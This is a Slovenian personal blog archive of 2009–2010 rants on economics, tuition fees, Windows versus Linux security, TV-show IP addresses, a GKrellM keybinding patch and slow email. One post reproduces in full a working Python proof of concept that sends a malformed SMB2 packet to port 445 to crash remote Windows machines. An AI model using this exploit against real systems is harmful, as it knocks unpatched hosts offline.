Archive

Archive for the ‘rant’ Category

Milton Friedman – Spending Money

March 22nd, 2010 No comments

There are four ways in which you can spend money. You can spend your own money on yourself. When you do that, why then you really watch out what you’re doing, and you try to get the most for your money.

Then you can spend your own money on somebody else. For example, I buy a birthday present for someone. Well, then I’m not so careful about the content of the present, but I’m very careful about the cost.

Then, I can spend somebody else’s money on myself. And if I spend somebody else’s money on myself, then I’m sure going to have a good lunch!

Finally, I can spend somebody else’s money on somebody else. And if I spend somebody else’s money on somebody else, I’m not concerned about how much it is, and I’m not concerned about what I get. And that’s government. And that’s close to 40% of our national income.

Vir (prevod se mi ni zdel potreben)

Categories: rant Tags: , , , , ,

Šolnine rant…

November 20th, 2009 1 comment

Take stvari ponavadi mečem na spam-blog, ampak tale se mi je zdela potrebna ranta :)

Na strani student-info, se je pojavil članek o šolninah. Seveda človek ob naslovu pričakuje ‘klasične’ argumente, tipa: “študirali bodo samo bogati”, oz. “revni bodo ostali neizobraženi, oz, še naprej revni” ipd… A v tem članku je napisano drugače… vsega sicer nima smisla komentirati, ker me je posebej zmotil le en del, in to tisti, ki opisuje zakaj so šolnine “dobre”:

da citiram:

Ali so šolnine res tako slabe?

Na šolnine večina izmed nas gleda s finančnega vidika. Vendar pa je to le en del pogleda na celotno zadevo. Velikokrat se študentje pritožujejo, da v predavalnicah zmanjka prostora in da morajo med predavanjem zato sedeti na tleh, kar ni posebej priporočljivo za fizično zdravje. Se pa kdo pri tem vpraša, da bi bilo manj študentov v predavalnici, če bi uvedli šolnine? Da bi na predavanja hodili samo tisti, ki jih to resnično zanima, ne pa, ker morajo sedeti tam, kot veleva bolonjski sistem. Verjetno bi se tudi manj študentov vpisovalo na fakulteto zaradi statusa in ugodnosti, ki jim jih prinaša, če bi morali za to nekaj plačati. Kar bi pomenilo manj vpisanih študentov in bi fakultete lahko denar, ki ga dobijo od države bolje razdelile med manjše število uka željih oseb. Verjetno bi se tako našel tudi denar za izboljšanje razmer še posebej pri praktičnih vajah, opremi laboratorijev in tudi tehnični opremi. Največ živcev verjetno gre študentom, ko čakajo na rezultate izpitov. Si kdaj pomislil/-a, da bi bili rezultati prej, če bi bilo manj izpitov za popravit? Do tega bi lahko prišlo, če bi bilo manj študentov na posamezni smeri.

Glavni argument za šolnine, je da bo potem manj študentov?! To da ljudje nekje sedijo na tleh je problem organizacije fakultete, oziroma preveč vpisanih študentov na enem predmetu. In po kateri logiki naj bi to, ali boš ostal, ali ne, odločalo tvoje finančno stanje?  Čemu sploh služijo obvezna predavanja? Kdor noče poslušati, naj ne pride! Zakaj bi nekoga silili da hodi na perdavanja? Tako ali tako na koncu odloča samo izpit. Število prisotnih na predavanjih, pa po drugi strani prinaša tudi feed-back profesorju… vsaj jaz bi se zamislil nad sabo, če bi bil profesor, in če bi na mojih predavanjih, namesto 150, bilo 5 študentov.

Zanimiv je tudi totalno zgrešen stavek:

Kar bi pomenilo manj vpisanih študentov in bi fakultete lahko denar, ki ga dobijo od države bolje razdelile med manjše število uka željih oseb.

Fakultete dobivajo denar od države (več ali manj) ‘po glavi’, torej več študentov = več denarja. Več denarja bi bilo predvsem zaradi šolnin. Seveda kaj bi bilo, če neka “uka-željna” oseba, ne bi imela denarja za šolnino?

Zadnji argument, o čakanju na rezultate izpitov, pa je po moje sploh čisti #fail… Izpit je že odpisan… a je res tako pomembno a ga dobiš čez 3 dni, ali pa čez 5?

Ahja.. edino prednost ki jo jaz osebno vidim v šolninah, je, da bi se študenti bolj “primerno” razporedili po fakultetah. Ker ‘normalen’ posameznik tako ali tako ne bi mogel normalno plačevati šolnin, bi bil odvisen od štipendij (predvsem kadrovskih). In ker podjetja izplačujejo kadrovske štipendije le za poklice, ki jih potrebujejo, bi bilo več študentov na tistih fakultetah, s katerih je potrebno več delovne sile. Torej (trenutno) več naravoslovcev in inženiringa ter manj družboslovja. Je pa res da je nekaj vsaj približno podobnega temu (o slabi porazdelitvi študentov) rekel en izmed ministrov pri neki čisto drugi aferi, in bil seveda izžvižgan :)

Categories: rant Tags: ,

Windows 7, security, Linux, patchi, in en 0-day

September 8th, 2009 No comments

Pred par dnevi je na slashdotu pojavil topic1  o Microsoftovih training slajdih, kjer so BestBuy zaposlene izobraževali kok je Win7 “ql”, in kok je Linux “beden”.  Konkreten slajd, ki mi je privlekel pozornost je bil tudi:

Linux11 security

Torej… ko pride do kakega grdega b00ga, exploita ipd, so userji “on their own”, če uporabljajo Microsoft priozvode, so pa “safe and secure”…

No in danes mi je @Kostko poslal zanimiv link (click here), kjer se nahaja kratka python skripta, ki na oddaljeni mašini sproži BSOD.  In kako je sedaj z ‘zagarantirano varnostjo’? Citiram:

Vendor contacted, but no patch available for the moment. Close SMB feature and ports, until a patch is provided.

Hmm.. očitno bo najbolje da izklopimo M$ file serverje, zakurimo ogenj in čakamo :)

In za vsak slučaj, da ne bi exploit kam izginil, dajem kopijo sem:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep
 
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
 
)
s = socket()
 
s.connect(host)
s.send(buff)
s.close()

ps:  zadeva se je pojavila tudi na slashdotu (click here)

pps:

(21:19:09) Anze: na zobavniku potrjeno bsod dela na visti
(21:19:12) Anze: win7 je safe <--????
(21:19:16) Anze: win 2k8 pade

  1. zaradi photobucketa se slik več ne vidi, zato sem postavil mirror tule
Categories: geek stuff, rant Tags: , , , ,

Serije in IP-ji

June 18th, 2009 2 comments

Enkrat sem že pisal o seriji Numb3rs in neumnosti v njej, ampak, ker naslednje opažam v vse več serijah, se mi je zdelo vredno narediti še en screenshot.

Ip je eno 32bitno število, ki ga zapišemo kot niz 4ih 8bitnih števil, od katerih lahko vsako zavzema vrednosti med 0 in 255. Sicer verjamem da je pri naključnem izbiranju števil težko zadeti prave vrednosti (približno četrtina jih je pravilnih), a človek bi pričakoval, da bi vsaj tisti, ki dizajnirajo scene (in tudi prikaze na računalniku) vsaj malo poznali računalniška omrežja.

In ja… screenshot… spet Numb3rs S05E23  (pa čeprav sem videl to že marsikje drugje).

numbers_ip

Categories: geek stuff, rant, spam Tags:

GKrellM in PgUp/PgDown

March 7th, 2009 No comments

To bo še en (tokrat dvovrstični) kratek popravek. Tisti, ki uporabljatte GKrellM in velikokrat uporabljate tudi tipki PageUp in PageDown, ste najbrž opazili, da če je gkrellm (ne da se mi več pisat velkih začetnic) aktivno okno, da PageUp/Down spremeni temo. Če imaš nastavljeno kako invisible (beri prozorno) temo, se sprememba teme zelo pozna, in je precej moteča. Ker pa so bližnjice hardcodeane v program, se tega ne da spremeniti na enostaven način… zato bomo malo popravljali source.

Ko razpakiraš .tar.bz2 arhiv, se v mapi “src” nahaja datoteka “gui.c“. Malo za 2440. vrstico se nahaja naslednja funkcija:

static GtkItemFactoryEntry      menu_items[] =
        {
{"/-",                             NULL,        NULL,                                   0, ""},
{N_("/Configuration"), "F1",    create_config_window,   0, ""},
{N_("/Theme/Prev"), "Page_Up",  cb_load_theme,  THEME_ALT_PREV, ""},
{N_("/Theme/Next"), "Page_Down", cb_load_theme, THEME_ALT_NEXT, ""},
{"/-",                             NULL,        NULL,                                   0, ""},
{N_("/Quit"),              NULL,        gtk_main_quit,                  0, ""},
{"/-",                             NULL,        NULL,                                   0, ""},
        };

Vse kar je treba, je popraviti ta “Page_Up” v ” “<shift>Page_Up”, in isto  “Page_Down”  v “<shift>Page_Down”

Patch bi torej izgledal približno takole:

diff -Naur gkrellm-2.3.0/src/gui.c gkrellm-2.3.0-mlz/src/gui.c
--- gkrellm-2.3.1/src/gui.c     2007-07-20 18:47:32.000000000 +0200
+++ gkrellm-2.3.1-mlz/src/gui.c 2008-01-14 11:28:22.000000000 +0100
@@ -2441,8 +2441,8 @@
        {
 {"/-",                            NULL,        NULL,                                   0, ""},
 {N_("/Configuration"), "F1",   create_config_window,   0, ""},
-{N_("/Theme/Prev"), "Page_Up", cb_load_theme,  THEME_ALT_PREV, ""},
-{N_("/Theme/Next"), "Page_Down", cb_load_theme,        THEME_ALT_NEXT, ""},
+{N_("/Theme/Prev"), "<shift>Page_Up",  cb_load_theme,  THEME_ALT_PREV, ""},
+{N_("/Theme/Next"), "<shift>Page_Down", cb_load_theme, THEME_ALT_NEXT, ""},
 {"/-",                            NULL,        NULL,                                   0, ""},
 {N_("/Quit"),             NULL,        gtk_main_quit,                  0, ""},
 {"/-",                            NULL,        NULL,                                   0, ""},

Sledi še kompajlanje (oz. za gentoojevce nov ebuild z vključenim patchem, in lahko brez skrbi pritiskate PageUp in PageDown, ne da bi skrbeli da se bo tema spremenila :D

ps: vem da se komu zdi čudno da me take malenkosti motijo, sam me.. žal.. :)

Categories: geek stuff, rant Tags: , ,

Email – ali navadna pošta?

February 1st, 2009 1 comment

Danes (ker se meni dan ‘zamenja’ ko/če grem spat, to pomeni v soboto), sem dobil mail, poslan v četrtek(!).  Problem je, ker se mi to z mojim @email.si email accountom dogaja precej pogosto1  (in ker nekateri še vedno pošiljajo na ta naslov, se tudi naslova ne morem kar tako lahko znebiti).

Relevanten del iz message source-a:

Received: from mx5.email.si ([81.24.97.24])
	 by jack.email.si (Cyrus v2.3.8-Invoca-RPM-2.3.8-7) with LMTPA;
	 Sat, 31 Jan 2009 17:37:44 +0100
X-Sieve: CMU Sieve 2.3
Received: from mordox.kud-fp.si (mordox.ljudmila.org [193.2.132.34])
	by mx5.email.si (Postfix) with ESMTP id 0A39C39B6DC
	for <[cenzura]@email.si>; Sat, 31 Jan 2009 15:57:14 +0100 (CET)
Received: from localhost (localhost [127.0.0.1])
	by mordox.kud-fp.si (Postfix) with ESMTP id 996994DD6C
	for <[cenzura]@email.si>; Thu, 29 Jan 2009 20:37:23 +0100 (CET)

Jap…, dva dni… in še +dve uri na email.si

Če bi bil email poslan po navadni pošti, bi prišel že v soboto zjutraj… torej v tem primeru je navadna pošta res hitrejša od emaila… žalostno.

  1. torej ne morem kriviti pošiljateljevih mail strežnikov, ker so različni
Categories: rant Tags: ,